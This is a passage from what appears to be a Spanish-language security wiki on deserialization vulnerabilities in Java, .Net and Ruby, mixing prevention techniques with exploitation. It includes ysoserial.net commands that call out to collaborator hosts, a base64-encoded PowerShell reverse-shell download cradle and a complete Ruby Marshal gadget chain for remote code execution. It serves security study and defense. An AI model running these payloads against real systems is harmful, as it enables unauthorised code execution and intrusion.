<groupId>com.sun.jndi</groupId>
|
|
<artifactId>rmiregistry</artifactId>
|
|
<version>1.2.1</version>
|
|
<type>pom</type>
|
|
</dependency>
|
|
```
|
|
**Instala Maven** y **compila** el proyecto:
|
|
```bash
|
|
sudo apt-get install maven
|
|
mvn clean package -DskipTests
|
|
```
|
|
#### FastJSON
|
|
|
|
Lee más sobre esta biblioteca de JSON de Java: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
|
|
|
### Laboratorios
|
|
|
|
* Si deseas probar algunos payloads de ysoserial, puedes **ejecutar esta aplicación web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
|
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
|
|
|
### Por qué
|
|
|
|
Java utiliza mucha serialización para varios propósitos como:
|
|
|
|
- **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
|
|
- **RMI (Invocación de Método Remoto)**: El protocolo Java RMI, que depende completamente de la serialización, es fundamental para la comunicación remota en aplicaciones Java.
|
|
- **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, que utilizan la serialización para todas las comunicaciones de objetos.
|
|
- **JMX (Extensiones de Gestión de Java)**: JMX utiliza la serialización para transmitir objetos a través de la red.
|
|
- **Protocolos Personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo cual se demostrará en ejemplos de explotación próximos.
|
|
|
|
### Prevención
|
|
|
|
#### Objetos Transitorios
|
|
|
|
Una clase que implementa `Serializable` puede marcar como `transient` cualquier objeto dentro de la clase que no deba ser serializado. Por ejemplo:
|
|
```java
|
|
public class myAccount implements Serializable
|
|
{
|
|
private transient double profit; // declared transient
|
|
private transient double margin; // declared transient
|
|
```
|
|
#### Evitar la Serialización de una clase que necesita implementar Serializable
|
|
|
|
En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe un riesgo de deserialización no intencional. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
|
|
```java
|
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
|
throw new java.io.IOException("Cannot be deserialized");
|
|
}
|
|
```
|
|
#### **Mejorando la Seguridad de la Deserialización en Java**
|
|
|
|
**Personalizar `java.io.ObjectInputStream`** es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando:
|
|
|
|
- El código de deserialización está bajo tu control.
|
|
- Se conocen las clases esperadas para la deserialización.
|
|
|
|
Sobrescribe el método **`resolveClass()`** para limitar la deserialización solo a las clases permitidas. Esto evita la deserialización de cualquier clase excepto aquellas explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialización solo a la clase `Bicycle`:
|
|
```java
|
|
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
|
|
|
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
|
super(inputStream);
|
|
}
|
|
|
|
/**
|
|
* Only deserialize instances of our expected Bicycle class
|
|
*/
|
|
@Override
|
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
|
if (!desc.getName().equals(Bicycle.class.getName())) {
|
|
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
|
}
|
|
return super.resolveClass(desc);
|
|
}
|
|
}
|
|
```
|
|
**Usar un Agente Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación de código no es posible. Este método se aplica principalmente para **poner en lista negra clases dañinas**, utilizando un parámetro de JVM:
|
|
```
|
|
-javaagent:name-of-agent.jar
|
|
```
|
|
Proporciona una forma de asegurar la deserialización de forma dinámica, ideal para entornos donde los cambios de código inmediatos son imprácticos.
|
|
|
|
Consulta un ejemplo en [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
|
|
|
|
|
**Implementación de Filtros de Serialización**: Java 9 introdujo filtros de serialización a través de la interfaz **`ObjectInputFilter`**, proporcionando un mecanismo potente para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control detallado sobre el proceso de deserialización.
|
|
|
|
Para utilizar filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo:
|
|
```java
|
|
ObjectInputFilter filter = info -> {
|
|
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
|
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
|
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
|
return Status.REJECTED; // Restrict to allowed classes
|
|
}
|
|
return Status.ALLOWED;
|
|
};
|
|
ObjectInputFilter.Config.setSerialFilter(filter);
|
|
```
|
|
**Aprovechando Bibliotecas Externas para una Seguridad Mejorada**: Bibliotecas como **NotSoSerial**, **jdeserialize** y **Kryo** ofrecen características avanzadas para controlar y monitorear la deserialización en Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como la lista blanca o negra de clases, analizar objetos serializados antes de la deserialización e implementar estrategias de serialización personalizadas.
|
|
|
|
- **NotSoSerial** intercepta procesos de deserialización para prevenir la ejecución de código no confiable.
|
|
- **jdeserialize** permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso.
|
|
- **Kryo** es un marco de serialización alternativo que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad.
|
|
|
|
### Referencias
|
|
|
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
|
* Charla sobre deserialización y ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
|
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
|
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
|
* Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
|
* Documento de Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
|
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
|
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
|
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
|
* Documento sobre deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
|
|
|
## Inyección JNDI y log4Shell
|
|
|
|
Encuentra qué es **la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
|
|
|
|
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
|
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
|
{% endcontent-ref %}
|
|
|
|
## JMS - Servicio de Mensajes Java
|
|
|
|
> El **Servicio de Mensajes Java** (**JMS**) API es una API de middleware orientada a mensajes en Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definido por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicaciones basadas en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea desacoplada, confiable y asincrónica. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
|
|
|
### Productos
|
|
|
|
Hay varios productos que utilizan este middleware para enviar mensajes:
|
|
|
|
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (291).png>)
|
|
|
|
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (292).png>)
|
|
|
|
### Explotación
|
|
|
|
Básicamente, hay **varios servicios que utilizan JMS de manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\
|
|
Esto significa que en esta explotación, todos los **clientes que vayan a utilizar ese mensaje se infectarán**.
|
|
|
|
Debes recordar que incluso si un servicio es vulnerable (porque deserializa de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.
|
|
|
|
La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.
|
|
|
|
### Referencias
|
|
|
|
* Charla de JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
|
* Diapositivas: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
|
|
|
## .Net
|
|
|
|
En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde los gadgets son explotados para ejecutar código específico durante la deserialización de un objeto.
|
|
|
|
### Fingerprint
|
|
|
|
#### WhiteBox
|
|
|
|
El código fuente debe ser inspeccionado en busca de ocurrencias de:
|
|
|
|
1. `TypeNameHandling`
|
|
2. `JavaScriptTypeResolver`
|
|
|
|
El enfoque debe estar en los serializadores que permiten que el tipo sea determinado por una variable bajo control del usuario.
|
|
|
|
#### BlackBox
|
|
|
|
La búsqueda debe apuntar a la cadena codificada en Base64 **AAEAAAD/////** o cualquier patrón similar que pueda ser deserializado en el lado del servidor, otorgando control sobre el tipo a ser deserializado. Esto podría incluir, pero no se limita a, estructuras **JSON** o **XML** que presenten `TypeObject` o `$type`.
|
|
|
|
### ysoserial.net
|
|
|
|
En este caso, puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio de git, debes **compilar la herramienta** utilizando Visual Studio, por ejemplo.
|
|
|
|
Si deseas aprender sobre **cómo ysoserial.net crea su exploit**, puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + formateador Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
|
|
|
Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, **`--output`** y **`--plugin`.**
|
|
|
|
* **`--gadget`** se utiliza para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).
|
|
* **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el back-end para deserializar la carga útil y usar la misma para serializarla).
|
|
* **`--output`** se utiliza para indicar si deseas el exploit en formato **raw** o codificado en **base64**. _Ten en cuenta que **ysoserial.net** codificará la carga útil usando **UTF-16LE** (codificación utilizada de forma predeterminada en Windows), por lo que si obtienes el raw y simplemente lo codificas desde una consola de Linux, podrías tener algunos **problemas de compatibilidad de codificación** que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará)._
|
|
* **`--plugin`** ysoserial.net admite plugins para crear **exploits para frameworks específicos** como ViewState
|
|
|
|
#### Más parámetros de ysoserial.net
|
|
|
|
* `--minify` proporcionará una **carga útil más pequeña** (si es posible)
|
|
* `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
|
|
* `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (insensible a mayúsculas y minúsculas)
|
|
|
|
Ejemplos de **ysoserial** para crear exploits:
|
|
```bash
|
|
#Send ping
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
|
|
|
#Timing
|
|
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
|
|
|
#DNS/HTTP request
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
|
|
|
#Reverse shell
|
|
#Create shell command in linux
|
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
|
#Create exploit using the created B64 shellcode
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
|
```
|
|
**ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a comprender mejor cómo funciona cada exploit: `--test`. Si indicas este parámetro, **ysoserial.net** intentará el **exploit localmente**, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
|
```java
|
|
if (inputArgs.Test)
|
|
{
|
|
try
|
|
{
|
|
SerializersHelper.JsonNet_deserialize(payload);
|
|
}
|
|
catch (Exception err)
|
|
{
|
|
Debugging.ShowErrors(inputArgs, err);
|
|
}
|
|
}
|
|
```
|
|
Esto significa que para probar el exploit, el código llamará a [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
|
```java
|
|
public static object JsonNet_deserialize(string str)
|
|
{
|
|
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
|
{
|
|
TypeNameHandling = TypeNameHandling.Auto
|
|
});
|
|
return obj;
|
|
}
|
|
```
|
|
En el **código anterior es vulnerable al exploit creado**. Por lo tanto, si encuentras algo similar en una aplicación .Net, probablemente esa aplicación también sea vulnerable.
|
|
|
|
Por lo tanto, el parámetro **`--test`** nos permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que puede crear **ysoserial.net**.
|
|
|
|
### ViewState
|
|
|
|
Echa un vistazo a [este POST sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario**. Si **ya conoces los secretos** utilizados por la máquina víctima, [lee este post para saber cómo ejecutar código](exploiting-\_\_viewstate-knowing-the-secret.md).
|
|
|
|
### Prevención
|
|
|
|
Para mitigar los riesgos asociados con la deserialización en .Net:
|
|
|
|
- **Evita que los flujos de datos definan sus tipos de objetos.** Utiliza `DataContractSerializer` o `XmlSerializer` cuando sea posible.
|
|
|
|
- **Para `JSON.Net`, establece `TypeNameHandling` en `None`:**
|
|
%%%TypeNameHandling = TypeNameHandling.None%%%
|
|
|
|
- **Evita usar `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
|
|
|
- **Limita los tipos que pueden ser deserializados**, comprendiendo los riesgos inherentes con los tipos de .Net, como `System.IO.FileInfo`, que puede modificar las propiedades de los archivos del servidor, lo que potencialmente podría llevar a ataques de denegación de servicio.
|
|
|
|
- **Ten cuidado con los tipos que tienen propiedades riesgosas**, como `System.ComponentModel.DataAnnotations.ValidationException` con su propiedad `Value`, que puede ser explotada.
|
|
|
|
- **Controla de forma segura la instanciación de tipos** para evitar que los atacantes influyan en el proceso de deserialización, lo que hace que incluso `DataContractSerializer` o `XmlSerializer` sean vulnerables.
|
|
|
|
- **Implementa controles de lista blanca** utilizando un `SerializationBinder` personalizado para `BinaryFormatter` y `JSON.Net`.
|
|
|
|
- **Mantente informado sobre los gadgets de deserialización inseguros conocidos** dentro de .Net y asegúrate de que los deserializadores no instancien tales tipos.
|
|
|
|
- **Aísla el código potencialmente riesgoso** del código con acceso a Internet para evitar exponer gadgets conocidos, como `System.Windows.Data.ObjectDataProvider` en aplicaciones WPF, a fuentes de datos no confiables.
|
|
|
|
### **Referencias**
|
|
|
|
* Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
|
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
|
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
|
|
|
## **Ruby**
|
|
|
|
En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por otro lado, el segundo método, **load**, se emplea para revertir un flujo de bytes a un objeto, un proceso conocido como deserialización.
|
|
|
|
Para asegurar objetos serializados, **Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash)**, garantizando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
|
|
|
|
- `config/environment.rb`
|
|
- `config/initializers/secret_token.rb`
|
|
- `config/secrets.yml`
|
|
- `/proc/self/environ`
|
|
|
|
**Cadena de gadgets de deserialización genérica a RCE de Ruby 2.X (más información en [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/))**:
|
|
```ruby
|
|
#!/usr/bin/env ruby
|
|
|
|
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
|
|
|
class Gem::StubSpecification
|
|
def initialize; end
|
|
end
|
|
|
|
|
|
stub_specification = Gem::StubSpecification.new
|
|
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
|
|
|
puts "STEP n"
|
|
stub_specification.name rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Source::SpecificFile
|
|
def initialize; end
|
|
end
|
|
|
|
specific_file = Gem::Source::SpecificFile.new
|
|
specific_file.instance_variable_set(:@spec, stub_specification)
|
|
|
|
other_specific_file = Gem::Source::SpecificFile.new
|
|
|
|
puts "STEP n-1"
|
|
specific_file <=> other_specific_file rescue nil
|
|
puts
|
|
|
|
|
|
$dependency_list= Gem::DependencyList.new
|
|
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
|
|
|
puts "STEP n-2"
|
|
$dependency_list.each{} rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Requirement
|
|
def marshal_dump
|
|
[$dependency_list]
|
|
end
|
|
end
|
|
|
|
payload = Marshal.dump(Gem::Requirement.new)
|
|
|
|
puts "STEP n-3"
|
|
Marshal.load(payload) rescue nil
|
|
puts
|
|
|
|
|
|
puts "VALIDATION (in fresh ruby process):"
|
|
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
|
pipe.print payload
|
|
pipe.close_write
|
|
puts pipe.gets
|
|
puts
|
|
end
|
|
|
|
puts "Payload (hex):"
|
|
puts payload.unpack('H*')[0]
|
|
puts
|
|
|
|
|
|
require "base64"
|
|
puts "Payload (Base64 encoded):"
|
|
puts Base64.encode64(payload)
|
|
```
|
|
Otra cadena de RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|